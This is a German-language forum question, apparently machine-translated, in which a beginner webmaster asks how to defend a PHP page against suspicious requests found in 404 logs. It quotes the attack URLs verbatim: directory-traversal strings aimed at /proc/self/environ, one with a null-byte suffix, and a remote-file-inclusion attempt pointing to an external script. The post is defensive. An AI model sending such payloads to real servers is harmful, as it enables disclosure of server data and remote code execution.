Beim Durchsuchen meiner 404-Protokolle sind mir die folgenden zwei URLs aufgefallen, die beide einmal vorkamen:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
und
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
Die betreffende Seite library.phperfordert eine typeVariable mit einem halben Dutzend verschiedener zulässiger Werte und dann eine idVariable. So könnte eine gültige URL sein
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
und die IDs werden alle durchlaufen, mysql_real_escape_stringbevor sie zum Abfragen der Datenbank verwendet werden.
Ich bin ein Anfänger, aber es scheint mir, dass diese beiden Links einfache Angriffe gegen die Webroot sind?
1) Wie schützt man sich neben einem 404 am besten vor solchen Dingen?
2) Soll ich die verantwortlichen IP (s) permabanieren?
EDIT: habe auch gerade diesen bemerkt
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: Die störende IP für alle drei Angriffe war 216.97.231.15die eines ISPs namens Lunar Pages, der sich etwas außerhalb von Los Angeles befindet.
EDIT 3: Ich habe beschlossen, den ISP am Freitagmorgen Ortszeit anzurufen und das Problem mit demjenigen zu besprechen, den ich am Telefon erreichen kann. Ich werde die Ergebnisse in ungefähr 24 Stunden hier veröffentlichen.
EDIT 4: Am Ende schickte ich ihren Admins eine E-Mail und sie antworteten zuerst, dass "sie sich darum kümmern" und dann einen Tag später mit "Dieses Problem sollte jetzt behoben sein". Leider keine weiteren Details.
typeteilt dem Skript mit, welches zu verwenden ist (obwohl durch ein IF $_GET['type'] == 'thing') {} ESLE..., nicht wie ein direkter Link include 'type.php') und das idwird durch mysql_real_escape_string ausgeführt und das wird für Abfragen verwendet. Wenn ich das weiß, bin ich immer noch in Sicherheit?